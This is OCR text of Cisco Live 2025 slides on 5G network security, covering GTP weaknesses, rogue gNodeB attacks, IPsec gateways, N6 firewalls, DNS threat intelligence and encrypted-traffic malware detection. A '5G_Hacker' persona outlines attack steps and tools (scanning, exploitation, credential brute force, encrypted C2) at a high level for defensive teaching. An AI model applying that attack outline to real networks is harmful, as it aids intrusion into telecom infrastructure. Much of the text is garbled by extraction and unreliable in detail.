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Webex App

Questions?

Use the Webex app to chat with the speaker
after the session

How

. Find this session in the Cisco Events mobile app

. Click “Join the Discussion”

. Install the Webex app or go directly to the Webex space

. Enter messages/questions in the Webex space

Webex spaces will be moderated

by the speaker until February 28, 2025.
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Architecting Hybrid Multi-Cloud
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@ View Location

(@) Join the Discussion

David Jansen
Distinguished Architect - Cisco System.

Cloud continues to be the disruptor, as customers
have been on the cloud journey for several
vears. This session will address architectural
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EMEA SP Cybersecurity TSA
12 years in cybersecurity
Last 3 years with Cisco
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» Based in Paris

» Father of a lovely 3 years daughter

» Other sessions here at Cisco Live:
[LTRCLD-2230] Hands-On Security and
Visibility in 5G Mobile Networks

» Passionate about: Bug Bounties, Ethical
hacking, Security Architectures,

Mobility..
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What should you expect ... and not expect

»5G security only (no residual, no >Real Life 5G security Challenges
fixed..)

>No specific focus on Private 5G

»Concrete Use cases

>Holistic view of 5G security
>No Mobile Architecture deep dive

c 1 sco L‘V&~/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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5G Use Cases

Enhanced Mobile Broadband

Ultra Reliable and low latency communications Massive Machine types communications

cisco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 5



Space View of bG Deployment

-
¥
<5
L~ xHaul

Internet

a (Transport ) C Packet Core )

RAN: Radio Access Network
MEC: Multi-access Edge Compute

c 1 sco L‘V&~/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 6



End to End threats in bG

3rd party
apps/Internet

MEC applications

((K))

e MEC

MEC & Backhaul Threats
DDoS attacks

RAN Threats

Air Interface .
Node Impersonation

Device Threats

Malware Threats Device Tampering Side Channel attacks
Bots DDoS Man in the Forced reject during - NFVi Vulnerabilities
Firmware Hacks middle UE Attach Request Forced Attack on -
Device Tampering Rogue gNB UE Attach Unsecured Backhaul
Sensor Jamming Forced Downgrade - Eavesdropping due to -

susceptibility using Rogue gNB unsecured Backhaul

cisco L{V&/

NRF, 5GCP.
AMF... .

BRKSEC-2763

CM,
PM SMF

ML NEF

) () m

5GC

5G Packet Core & OAM Threats
Virtualisation

LI Vulnerabilities

Improper Access Control
Network Slice security

API vulnerabilities

NEF vulnerabilities

Roaming Partner

3rd party apps/Internet

SGi/ N6 & External Roaming
Threats

Attack from external -

MNO

Port and Protocol -

Scanning Attacks

SGi Penetration attacks

App server vulnerabilities
Application vulnerabilities API
vulnerabilities

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 7



5G Security: A Symphony of Teams

Mobility / Telecom

; %b‘ AMF: Access and Mobility Function
(’( )) SMEF: Session Management Function
= __//" ____ N 2 > UPF: User Plane Function

0 - /r <i

o | e

a 5G packet core

Second Focus Area e
................................................................................. 4...
RAN NetOps / { Packet Core) NetOps /
SecOps DevOps SecOps Internet
asco Lope! First Focus Area First Focus Area

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 8



Battle between two very different personas...

5G_Hacker 5G_Protector
»Explore and exploit hidden 5G vulnerabilities »>Fixes every vulnerability before attackers can strike
»Fluent in hacking tools »Cisco Security black belt

c 1 sco L‘V&~/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 9



 Introduction

- Security Gateway use case
- N6 (Gi) FW use case
- 5G Packet Core protection use case

- Conclusion

cisco Li/&/
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RAN f

—

wOps / Sec

s )

We are here !

SecGW Use
Case

cisco L{V&/

Packet Core

DevOps

Internet




Cell sites

> More than 10000 for a medium sized city (~1 million population)

» In Theory: We should have some security : port security, Dynamic ARP inspection, secure
DHCP..

» Reality is different: hard to configure at large scale, very few have this level of granularity

c 1 sco L‘V&. BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 12



Which protocol are used between RAN and Core?

4 |GPRS Tunneling Protocol V2

> Flags: ©x48

>GTP_U for User Plane and GTP—C Message Type: Create Session Request (32)

for Control Plane traffic for users I"‘—E Length: 236 —
Sequence Number: @x00004300 (18432)

Tunnel Endpoint Identifier:

>Other signaling protocols Spare: ©
> International Mobile Subscriber Identit IMSI) . I
>All clear text oLoth

"~ Mobile Equipment identity (MEL) : I ]
I' User Location Info (ULI) ::

>GTP is old (|ate 1990) and was " Serving Network : MCC 970 , MNC @1
. . . . » RAT Type : EUTRAN (6)
never deSIgned Wlth SeCU”ty N > Fully Qualified Tunnel Endpoint Identifier (F-TEID) : S5/S8 SGW GTP-C
m|nd » Access Point Name (APN) : internet.mnc@@l.mcc970.gprs

> Selection Mode : MS or network provided APN, subscribed verified
> PDN Type : IPv4/IPv6

>GTP attack vectors are well KNOWN & eon address allocation (pas) : 1pve ::, [fFva ]
: » Indication :
by the IndUStry (GSMA FS2O) > APN Restriction : No Existing Contexts or Restriction (@)
» Aggregate Maximum Bit Rate (AMBR) :
> Bearer Context : [Grouped IE]
> Recovery (Restart Counter) : 64
> UE Time Zone :

c 1 SCO M. BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 13


https://www.gsma.com/security/resources/fs-20-gprs-tunnelling-protocol-gtp-security-v3-0/

5G_hacker Rogue gNodeB Attack

Rogue gNodeB Sniff some legitimate traffic towards
192.168.1.100 Packet Core: 192.168.1.200

Cell site with weak
securit

c 1 sco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 14



5G_hacker Rogue gNodeB

ass # 3GPP TS 29.274 v12.12.0 section B.22
456 ~ INTERFACE_TYPES = {
as57 ®: "S1-U eNodeB GTP-U interface",
ass : “S1-U SGW GTP-U interface”
459 2: “S12 RNC GTP-U interface",
aso 3: “S12 SGW GTP-U interface
a61 4: "S5/58 SGW GTP-U inter .
a62 5: "S5/58 PGW GTP-U interface”,
463 6: "S5/58 SGW GTP-C interf .
464 7: "S5/58 PGW GTP-C interface”,
SRt U ; 465 8: "55/58 SGW PMIPv6 interface”,
EiRpie Cara Rety 466 9: “S5/58 PGW PMIPVE interface",
a67 511 MME GTP-C interface
a68 “S11/54 SGW GTP-C interface",
4639 510 MME GTP-C interface
a70 53 MME GTP-C interface"
a71 "53 SGSN GTP-C interface
UDP(sport a72 "S54 SGSN GTP-U interface™
a73 "S54 SGW GTP-U interface",
aza “54 SGSN GTP—C interface”,
a7s 516 SGSN GTP-C interface",
A EVre a76 eNodeB GTP-U interface for DL data forwarding”,
477 "eNodeB GTP-U interface for UL data forwarding”,
478 "RNC GTP-U interface for data forwarding',
479 "SGSN GTP-U interface for data forwarding”,
ase “SGW GTP-U interface for DL data forwarding",
a81 “Sm MBMS GW GTP—C interface,
a82 “Sn MBMS GW GTP—C interface,
a83 Sm MME GTP-C interface
a8a Sn SGSN GTP-C interface
a8s “SGW GTP-U interface for UL data forwarding”,
486 “Sn SGSN GTP-U interface",
a87 "“S2b ePDG GTP-C interface",
a88 2b-U ePDG GTP-U interface",
a8 52b PGW GTP—C interface
a90 52b-U PGW GTP-U interface",
491 "S2a TWAN GTP-U interface”,
492 "52a TWAN GTP-C interfac
493 "S2a PGW GTP-C interface"
494 “S2a PGW GTP-U interface",
a95s 3

» Big number of 3GPP interfaces can be easily exploited
» Replay Attacks, Impersonation, Fraud..

c1sco 2
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3GPP highly recommended Security Gateway !

.......... e
A HTTP2
- sBl
= ((¢ ;.)) .HTTP2
J 7 A—=s )"“)”\
D gNB " "‘

» Protects both user and control plane traffic from eavesdropping through encryption
» Confirms gNodeB identities: Preshared Keys or certificate based authentication

» Encrypts Control plane or user plane or both

» Protects against impersonation

c 1 SCO W./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 16



5G_Protector SecGW use cases

Enhanced Mobile

Broadband (eMBB)

» 5G_Protector Key challenges:

W) 1

Latency: Moderate
Supports streaming

Availability: Very High
Enable media

Throughput: Extremely high
Handle gigabit-level data rates

cisco Li/&/

Ultra-Reliable Low-Latency
Communications (URLLC)

Example: Self-Driving Cars a

» 5G_Protector Key challenges:

Latency: Ultra-low
<1 ms for near-instantaneous
control

Availability: Extremely high
Guarantee mission-critical
operations without interruptions

Throughput: Low

focused on reliable, small, and
critical data packets

BRKSEC-2763

Massive Machine Type
Communications (MMTC)

Tool: Smart Home Devices

» 5G_Protector Key challenges:

Latency: Moderate
sufficient for sensor data

Availability: Very high
support thousands of devices
reliably across the network

Throughput: moderate

each device sends minimal data,
but there are many devices
overall

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Smart Home Devices Use case: Centrally deployed
Moderate Latency Very high availability Moderate throughput

> An IPSec GW Pair in Active/Backup mode IPSec GW

> Backup node does not accept any traffic

> Active and Standby nodes are in same L2 broadcast domain
» FTD supports static VTI, Dynamic VTl and crypto Maps

> To detect a failure and re-route traffic, L3 protocols like BFD
and BGP are required

» No session synchronisation (statefullness) between sites
(intersite)

> FTD 7.3+: Use Performance profile called VPN heavy with
prefilter fastpath, this allocates 90% of cores to data plane
and 10% to snort

c 1 SCO W./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 18



Streaming 4K videos use case: Deployed centrally
Moderate Latency  Very high Availability  Extremely high throughput

» Distributed VPN clustering in FTD7.7 for 4200 platforms

» Support up to 16 nodes for 4200. Around 30% Penalty for
overall IPSEC performance

SecGW-N

» All SecGW clustered appliances being active, achieving N+
resiliency

Load balancing

» gNB’s target one single SecGW cluster IP address

» Stateful solution: all IPSec sessions state is replicated from
the session owner to other backup units via Clustering

c 1 sco L‘V&./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 19



Self-Driving cars use case: Edge Deployed
Ultra low Latency Extremely high availability Low throughput

Generic x86 Compute

Generic CPU Complex | | I

Docker Host
ASAVv and FTDv Software

ol
NUTaND: _KVM

ASAc Docker container

Nvidia Bluefield DPU

vmware

open_s.tack.i. ESXi

Support of SR-I0OV, DPDK, VPP

for performance enhancement > ITNVIDIA DPU is present,

Additional ARM software
components program offer inline
acceleration for IPSEC
encryption & flow offload

» Standalone Container solution
With Infrastructure-as-Code
(IaC) on K8S and Docker
environment

Individual mode clustering

Need for external load balancer

» HA and Clustering are not

Distributed VPN is not > Targetting 30 to 50% for IPSEC supported in this release

and 80 to 100% for flow offload
supported

performance improvement
cisco L{{/&/
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RAN

N6 (Gi) FW Use Case

cisco L{V&/

Packet Core

DevOps

NetOps /
SecOps

We are here !

Internet




2025 : Internet is fully encrypted

Source : Cloudflare Radar (November 2024) : Cloudflare Radar

Cisco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 22


https://radar.cloudflare.com/traffic?dateRange=52w

HTTP Evolution

L ”I:) | [ ”ID |
Your web traffic Your traffic divided
can be encrypted into multiple-

streams in same
session, encrypted

cisco L{V&/

&
- |
Reference Slide

P |

I
Your web traffic divided into
multiple-streams &
encrypted

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 23



The consumers are observing benefits : BRKSPG-2583

QoE Drives QUIC Adoption

1.8B Daily Active Users - 3B Monthly
QUIC and H/3 are protocols of choice*

Cloud CDN throughput (50th percentile)

8000
kbps

7000
kbps

Google

s QUIC enabled

6000
kbps

Nov Dec Jan Feb
2017 2017 2018 2018

Date .
Google CDN Performance increase

cisco L{V&/

~40%-50% reduction

25

% REDUCTION IN LATENCY

0
P50 P75 P95 P99

Latency LATENCY DISTRIBUTION
reduced significantly**

% LATENCY REDUCTION ACROSS NETWORK TYPES
B QUIC_OVER TCP_P35 [ QUIC_OVER TCP_P99
60

~40% reduction Uber

40
20

WiFi LTE 4G (HSPA+) 3G (HSPA)  2G (EDGE)

The more fragile the network, the more QUIC excels**

*source Facebook engineering
** source Uber engineering

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 24



IETF Standards

TLS 1.3

2018

Secure DNS

Standards
DoT - RFC7858
DoH - RFC8484

cisco Li/&/

RFC 8446

2018

&
- |
Reference Slide

QUIC MASQUE

RFC 9000 Charter-ietf-masque-2

2021 2023
2020 2022

eSNl via ECH HTTP/3

RFC8744 RFC9194
Draft-ietf-tls-esni-17

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 25



Visibility is lost in N6 interface

Old Internet

o)))l

Server

. 1 i
Client E

1

1

1

! XVyZ.com . 1

— Connect SNI: _’xyz.com
! Xyz.com TLS @Eli.b.c.d

I New ses . i EJTP/'I A
i_ established: - i HTTP/2

Xyz.com
cisco L{{@/

! e NEW SESSION:

New Internet

Client Server
1

o ))) 1

Look up: xyz.com

| a
, goto:
Connect SNI: ﬂ a.b.c.d

TLS1.3 +
eSNI/ECH

o _mmmrE . ...
: '+ QUIC
Bl cstobished: (@ |

» Secure
'DNS

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 26



No more cleartext SNI with ECH = &

—
- Client Server Reference Slide

Client Server

ClientHelloOuter
+Quter extensions
(key share,
OuterSNI,,...)

ClientHellolnner
+Inner extensions
(key share,
InnerSNI, ALPN*)

Client Hello
+ extensions (key

share, SNI, Server Hello

Server Hello + non sensitive

+ non sensitive

ALPN*,..)
extensions (key

share...)

extensions (key
share...)

Begin

Handshake Begin

S S [«
Encryp_ted SNLRIEE & SEREIIE - Encrypted extensions + sensitive
extensions (ALPN,) eXtenSionS (ALPN )
Certificate Certificate
Certificate Verify Certificate Verif

Begin Tall Begin P Y

trans.mlt_tlng transmitting Fm'Shed

application application

_Data Data

B No Encryption B No Encryption
\ ' Encrypted under handshake traffic key \ " Encrypted under handshake traffic key
B Encrypted under application traffic key B Encrypted under application traffic key

RFC 6066 Draft-ietf-tls-esni-17
Destination (SNI*) & capabilities in clear _) DNS over HTTPS N
SNI - server name identifier Destination (SNI*) & capabilities fully encrypted

ECH : Encrypted client Hello
c I SCO y &/ ALPN : Application layer protocol
- negociation BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 27




“More than 85% of attacks now use
encrypted channels across various stages
of the kill chain, up 20% from last year
(Phishing, Malware Delivery C&C
activities, and more .)”

Annual State of Encrypted Attacks Report,
ThreatLabz, Q4 2024

cisco L;'V&/



5G_Hacker: Attack User plane devices through encrypted channels s

Vulnerability

Reconnaissance oy
|dentification &

& Scanning

Exploitation

Tools: Metasploit / Exploit-DB..

Initial access & Persistance

Tool: Hydra / Medusa / custom backdoors..

Tools: NMAP/ Shodan..

» 5G_hacker uses NMAP to
Identify active hosts, open
ports, and services.

» 5G_hacker uses Exploit-DB
repository of known exploits to
learn about discovered IOT

> 5G._hacker uses Shodan devices vulnerabilities

to locate exposed
vulnerable loT devices
running outdated
firmware.

» 5G_hacker uses Metasploit
Framework for developing and
executing exploit code against
target system

cisco Lt/&~/ BRKSEC-2763

» 5G_Hacker will gain initial access by
scanning for devices with default
passwords or dictionary vulnerable
devices using Hydra and Medusa

» 5G_hacker may use techniques such as
HTTP(S) beacons or DNS tunneling to
communicate with a Command-and-
Control server using encrypted channels

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 29



5G_Hacker Attack Plan !

="
[ ]
0 Egress DDOS

Dﬂ

D I . Egress DDOS

High 10T
Traffic

cisco L{V&/

(%‘)»

P
)
<« ),‘
./ .

.\.

~a

((A))) B .

NV e

g

%»)

o

(<A>>)

AN, .
(RENY o

R

-/‘

P

==

[=linlson b

Applications
-
Applications \. .~ Public/ Private Cloud
Edge Compute N v
-‘\ (‘
Regional DC BN
. b Ingress
s [EE]
7 e
7/
/ Internet
/ Central DC

=]
OD R

Applications
Edge Compute

Regional DC
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5G_Protector Proposal to secure User Plane

| |
{: —r X (e —
DNS Detector Controller Application  Enc i
: rypted F Il
Security Usiiity  Visibility rews Internet
Control Engine

ﬁ (AVC) (EVE)

UE & IOT Cisco Umbrella Cisco Secure Edge Protection Firepower threat Defense

c 1 sco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 31



Gi/N6 Firewall: Clustering

» Combines multiple Cisco Secure Firewalls into a single logical
device with configuration shared among all units in the cluster

> Same configuration shared among all units in the cluster

> Allows pay as you grow sizing - nodes can be added to existing
clusters up to 16 nodes. This is crucial for 5G disaggregation ‘.. FTD/ASA

B Cluster

> EtherChannel with LACP provides resilience distribution of traffic
towards the cluster

> Resolves routing asymmetry

> All packets in a bidirectional flow are redirected to the flow owner

c 1 SCO W./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 32



90% of

malwares use
DNS in attacks

cisco L{V&/




Cisco Umbrella: Multi-faceted threat intelligence

DNS

A
N
> D

ETC

cisco L{{/&/

1. Lexical
Live DGA prediction

2. Anomaly detection
Newly seen domains

Spike rank model

3. Predictive IP

Predictive IP space monitoring

4. Graph-based

Co-occurrence model

BRKSEC-2763

\

|i\

\

L S
°

g==a Botnet 11214
=

Umbrella

Exploit Kit 21314 @

Phishing 11214

Crimeware 314

Ransomware 21314 [ Investigate
°
o
Spam 214 ..
o o
Trojan 21314

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 34



Co-occurrence Model: Domains guilty by inference

a.com b.com X.com e.com f.com

Known malicious domain

Co-occurrence of domains means that a statistically significant number of identities
have requested both domains consecutively in a short timeframe

c 1 S c o M- BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 35



Spike Rank Model : Patterns of guilt

F SRy .

DGA MALWARE EXPLOIT KIT PHISHING

Massive amount
of DNS request
volume data is
gathered and
analyzed

___y.com is blocked
before it can launch full
attack

DNS REQUESTS

DNS request volume matches known
exploit kit pattern and predicts future attack

c 1 sco L‘V&~ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Umbrella for SP: Mobile Protect

SP
MP Dashboard

Customize security
settings X

Caching layer Packet core determines if device gets
= MP security value add —via APN or
(o =] PCRF lookup
DNS Server

S B

Mobile device

APN : Access Point Name
PCRF : Policy & Charging Rule function

c 1 SCO M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 37



Cisco secure edge DDOS: BRKSPG-2401

@ Controller

Edge  Detector :
On NCS540

Detector i
On ASR9K/NCS Peerlng

10S-XR Routers Network

' . g NB Detector
SecGW On ASR9K/NCS
a osTR Roters DU: Distributed unit
CU: Centralized Unit
c 1 S co L‘V&~/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 38



How to figure

out if my
subscribers are

Infected 7

cisco L{V&/



Secure Firewall Encrypted Visibility Engine : OFF

» Top Web Applications Seen

=i

» Top Client Applications Seen

=X

Application v Total Bytes (KB) Application v Total Bytes (KB)
7 Apple TV Plus 3,736,281.37 [ SSL client 25,780,414.07
] iCloud 3,177,531.34 "] Mac App Store 11,457,461.63
] Disney Plus 3,035,875.45 ] Apple Update 2,220,990.61
] Apple Update 2,220,990.61 1 YouTybe 1.770.604.47
] YouTube 1,770,604.47 ] QuIC 1,283,358.99
[ Instagram Media 1.451.025.81 ] Facebook 569,321.61
] QuiC 1,283,358.99 ] BlueStacks 563,835.21
L] ouricasy Ve T,063,667.26 ] iTunes 273,411.44
"] Facebook 569,321.61 ] iCloud Private Relay 142,111.15
[ BlueStacks 563,835.21 ] Chrome 141,959.89
1 Google APIs 425,624.78 ] Amazon Web Services 138,595.53
] TwitPic 411,965.76 ] Webex Teams 106,375.91
] iTunes 273,411.44 1 Marco Polo 65,361.33
[C] Exchange Online 166,622.01 ] Apple Maps 63,618.00
] Apple sites 143,260.27 1 Yahoo! 11,393.55

Last updated less than a minute ago Last updated less than a minute ago
cisco W-/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 40



Secure Firewall Encrypted Visibility Engine : ON

» Top Client Applications Seen

Application
] SSL client
] iTunes
] Apple Update
] YouTube
] Facebook
] iCloud Private Relay
] Chrome
] webex Teams
] Apple Maps
] Amazon Web Services
1 Mac App Store
] Yahoo!
] Twitter
1 Philips Hue
CJ RTP

Last updated 8 minutes ago

- X

v Total Bytes (KB)
19,470,979.98
1,531,703.51
789,380.99
764,243.05
554,454.05
373,059.70
325,541.81
92,800.65
48,107.99
36,170.65
14,358.62
5,733.90
4,376.69
3,964.15
2,861.34

» Top Web Applications Seen

Application
1 Akamai
[C] Google APIs
1 Netflix stream
1 iCloud
1 Apple sites
[ iTunes
] Disney Plus
] Apple Update
1 YouTube
] Facebook
] TwitPic
[C] iCloud Private Relay
] Instagram Media
] Google Play
] Webex Teams

Last updated 8 minutes ago

- X

v Total Bytes (KB)
6,086,152.00
2,619,071.70
2,057,153.41
2,034,919.01
1,589,727.37
1,531,703.51
1,111,343.87

789,380.99
764,243.05
554,454.05
434,373.00
373,059.70
344,960.88
115,493.58

92,800.65

cisco L{V&/
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Encrypted Visibility Engine Output

g
TLS Client

cisco L{V&/

TLS Client Hello

Destination IP

Internet Protocol Version 4, Src: 10.55.62.51,
Transmission Control Protocol, Src Port: 59536, Dst Port: 443 -Scgil
Transport Layer Security

TLSv1.2 Record Layer: Handshake Protocol: Client Helle

>

Destination Port

Content Type: Handshake (22)
Version: TLS 1.8 (@x@3e1)
Length: 512

EVE
TLS Fingerprint > Qc

Domain Name

Handshake Protocol: Client Hello
Handshake Type: Client Hello (1
Length: 508
[ Version: TLS 1.2 (0x8303)
Random: ¢3b792dec134bfbhed964e3e3445f2d8aBaeeba2l1e1489757055d9478d69ee665
Session ID Length: 32
Session ID: 3f9db5885fd4f02942edd45f161a16e5847dcd9c7f77a8137c9a0@8c8aa53ff1
Cipher Suites Length: 32
Extension: server_name (len=14)

Type: server_name (0)

Length: 14

Server Name Indication extension
Server Name list length: 12
Server Name Type: host_name (@)

Server Name length: 9
lServer Name : gazeta.pl:
Extension: extended_master_secret (len=0)

Extension: renegotiation_info (len=1)

BRKSEC-2763

T T
=":

OUTPUT

. Client Process Name
. OS Name
* Malware Probability

© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 42



How is EVE dataset Powered?

J Offline Data
Processing

Process: chrome.exe Destination Port: 443 S =
Version: 76.0.3809.132 Destination Address: 192.168.60.1 E
SHA-256: 5616...9acc TLS ProtocolVersion: 0301 T e E
Category: browser TLS CipherSuites: 0035...0003 oven 3 .:'
0s: WinNT TLS Extensions: None e >
OSversion: 10.0.17134 TLS Server Name: Noe |\ "=
OSedition: Enterprise 5 o
| |
| |
| |
@ |
Process data from 80,000 Over 30 DCs around the globe 10,000 samples sandboxed
Secure Client (AnyConnect) collecting 1B TLS fingerprints daily by Secure Malware Analytics

endpoints everyday everyday
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Appid.cisco.com

a | X
Risk. Business Relevance: Tag Show All Tag Category Type
@ very Low 1600 Very High 458 addsfinstals other software o7 active directory ] Pratecol 1939
B Low 955 High 1657 adult content a7 ad partal 339 Cient 65
! Medium 2284 Medium 2853 alows remote comect 00 anonymizerfprocy 136 Wb App 5958
Q High 1881 Low 1386 allows remate control 53 ‘application development and testing S
) very High 814 Very Low 1000 antivirus 13 backup and recovery 0
Application Details (7,334)
£ Application Name & Description ™ 4 Risk %\is‘:ﬁe L
> 050pus VolP smartphene app. ! Medium Medium
> Talintemet intemet and Domain name service provider. © very Low Low
> 1-BOO-Flowers Onfine retailer of flowers and other gifts. ® Low Very Low
> Offers a ree agp for mabile that makes intemet private, safer and grevents anyane from snooging on the user. Q High High
> Advertising and analytics site. B Low Very Low
> 100icom Provides anline games © High Low
> 1008a0 A Chinese P2P file sharing program. D Very High Very Low
30 Provides a puzzle gaming platform. @ High Low
3 100ed Provides an Al based website builder ! Medium High

Cisco

.&‘/

BRKSEC-2763

stats:
general:
total fingerprints: 10,000
total labeled fingerprints: 4,934
total connections: 11,004,470,612
fingerprints per protocol:
tls: 2,902
http: 1,885
quic: 146
tofsee: 1
connections per protocol:
tls: 8,662,691,963
http: 1,980,055,863
quic: 361,722,785
tofsee: 1
Threat Grid:
total fingerprints: 784
total connections: 5,530,182

fingerprints per protocol:

http:
tls:
tofsee:

connections per protocol:

tls:
http:
tofsee:

607
176
1

3,640,195
1,889,906
1

Details, release notes for each application supported for cisco secure firewall
Over 300 encrypted applications are recognized by EVE
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EVE In action

1, Process Confidence denotes how
certain we are with EVE judgement

on the source process.

3, Threat Confidence and Score
provide calculated likelihood of a flow
being sourced by malware.

ANIIN

Time

=
=

2022-05-04 17:14:10
2022-05-04 17:13:53
2022-05-04 17:13:49

2022-05-04 17:13:32

v v v v v

2022-05-04 17:13:27

Action

© Allow
@ Allow
© Allow
© Allow
© Allow

Event Type

4 Connection
4 Connection
§ Connection
S Connection

5 Connection

Destination IP

199.58.81.140
163.172.21.117
45.66.33.45
131.188.40.189

45.14.233.149

Destination Port /
ICMP Code

443 (https) [ tcp
443 (htips) | tcp
443 (https) / tcp
443 (https) / tcp

443 (https) / tcp

& Encrypted Visibility Encrvp(ed Visibility
Prucess Confidence Score : Process Name
H

..........

100%

100%

100%

tor

tor

tor

E Encrypted Visibility
= Threat Confidence
.

Very Low
Very Low
Very Low
Very Low

V(-ry Low

.
Encrypted Visibility Threat & _ o .

= Client Application Detection Type
Confidence Score H
0% TOR TLS Fingerprint
0% TOR TLS Fingerprint
0% TOR TLS Fingerprint
0% TOR TLS Fingerprint

\LJR : HS Fingerprint

2, Process Name denotes the name
of the process on the host that

generated this flow.

cisco L{{/&/

source Host Profile.

/ 5, Detection
Type is marked

4, Client Application detected
by EVE and added to the

as TLS
Fingerprint.

BRKSEC-2763
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EVE In action

Q, X Encrypted Visibllity Threat Confi... >90% * 4 X Encrypted Visibility Process Name malware-upatre x 4 % X Refresh
@ Sho 2 927 % W 2024-06-24 09:12:43 CEST — 2024-06-24 10:12:43 CEST 1h @ Go Live
. Encrypted Visibility Encrypted Visibility Encrypted Visibility Encrypted Visibility Threat Encrypted Visiblity Threat
Time Event Type cess Control Rulo Access Control Policy Dovice
Fingerprint Process Confidence Score  Process Name Confidence Confidence Score

> 1 09:57:28 4 Connect w-Rule-#1-ALLOW POC FPR4200 9t 303)(c Very High

> 2409:57:28 % Securty-f . POC 8t ( ven

> 109:57:28 | % Secunty-Related Cor POC @ (

> 2024-06-2409:57:28 %@ Secunty-Relates Cor w-Rule-#1-ALLOW p [ 2 =

> | 2024-( 4 09:56:26 %@ Secunty-Refatec Con w-Rule-#1-A PO( < 1 ipatr Hi

> 024 24 09:55 57 % Secunty-Related Cor w-Rule-#1-A N P 4 al T H

> 2024-06-24095657 4 P @ tis 4 ral ipatr Hgh

> 2024-06-24 09:55:57 r e vi-Rule~#1-ALLOW PO @ tis 2 ¥ T

5 PO ™ & alware-upatr t

> 9t 303)(c e

2 POC 9 tls 303)(c 4%

> PCC 9 tis ) (c02 2 e gh

> 8 ( Very

> @t ( Very High

> PCC St ( ve gh

> 2024-06-2409:51:10 4 Security-Reala 0 wi-Rule-#1-ALLOW 8 ( ery H 9

> 2024-06-2409:51:10 R A P @ 4 al ., H

> | 2024 2409:4203 ( @®ts 4 L patr H

> 2024-06-24 09:42:03 # PO 9t 4 alware-upatr H

> 2024-06-24 09:42:03 21-ALL @ s 4 upatr High
f DNIE-ED - P i s Palated ™o . N “1 A WA nove (el n -t . eas

» EVE performance impact is minimal
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»
- |||l
Reference Slide

EVE in action

Q, X Encrypted Visibllity Throat Confl... >75% x I

?r X || Refresh

@ Showing 10,000 events (5 10,000 % 7.498) of many & & B 2024-06-24 09:12:43 CEST — 2024-06-24 10:12:43 CEST 1h @ Go Live
Time Event Type coss Control Rule Access Control Policy Dovice :""Y ANt - mm“".:':m“:";":‘ i :';“:‘":‘vxm m:"‘"“ Thonat m::::" Text | o W
> Security-Related Con tw-Rule-31-ALLOW PCC FPR4200 @ tis/1/(0303)(c02¢cc020 | 6% genenc dmz process I Very High 88% I H
> % Security-Relatec Con w-Rule-%1-ALLOW POC FPR4200 @ tls/1/(D303)(c02cc020 | 8% genenc gmz process Very High 86% i
> % Security-Related Cor’ w-Rule-#1-ALLOW POC FPR420Q @ tis/1/(0303)(c02ccd2t | 7% generic dmz process Very High 86%
> | 2024-06-24 10:12:39 | % Security-Rel tw-Rule-21-ALLOW POC FPRA4200 @ tis/1/(0303)(c02cc026 7% generic dmz process Very High 86%
> | 2024-06-2410:12:39 % Secunty-Related Cor- w-Rule-31-ALLOW POC FPR4200 7% genefic dmz process Very High 86%
>  2024-06-2410:12:37 % Secunty-Ralated Cor iw-Rule-#1-ALLOW POC FPR4200 7% genenc dmz process Very High 86%
> | 2024-06-2410:12:36 % Security-Relateg Con w-Rule-#1-ALLOW POC FPR4200 7% genenc dmz process Very High 86%
> 2024-06-2410:1232 | 4 Secunty-Related Can w-Rule-#1-ALLOW PCC FPR4200 7% genenc dmz process Very High 86%
> 06-2410:12:32 9 Secunty- Car ;v.-.i‘ui-:—-%‘] -ALLOW pPoC FPRA20O @ tis/1/(0303)(c02cc020 | 7% genenc dmz process Very High 86% i
> % Secunity-Related Con: fw-Rule-#1-ALLOW POC FPRA20O @ tIs/1/(D303)(c02ccD20 | 7% generic dmz process Very High 86%
> % Security-Rel w-Rule-#1-ALLOW POC FPR4200 @ Us/1/(0303)(c02cc020 | 8% genenc dmz process Very High 86%
> % Securnity-Related Conr w-Rule-#1-ALLOW poC FPR4200 @ tis/1/(0303)(c02cc02t | 7% genanc dmz process Very High 86% H
> % Secunity-Relatad Cor- w-Rule-51-ALLOW PCC FPR4200 @ tis/1/(D (c02cc02b | 7% genenc dmz process Very High 86%
> 4 Connection w-Rule-21-ALLOW PCC FPR420C @ tis/1/(0303)(c02cc020 | 7% genefic dmz process Very High 86% H
> % Security-Relatec Cor- m-Rule-31-ALLOW POC FPR420Q @ tis/1/(0303)(c02cc02t | 7% generic dmz process Very High 86% H
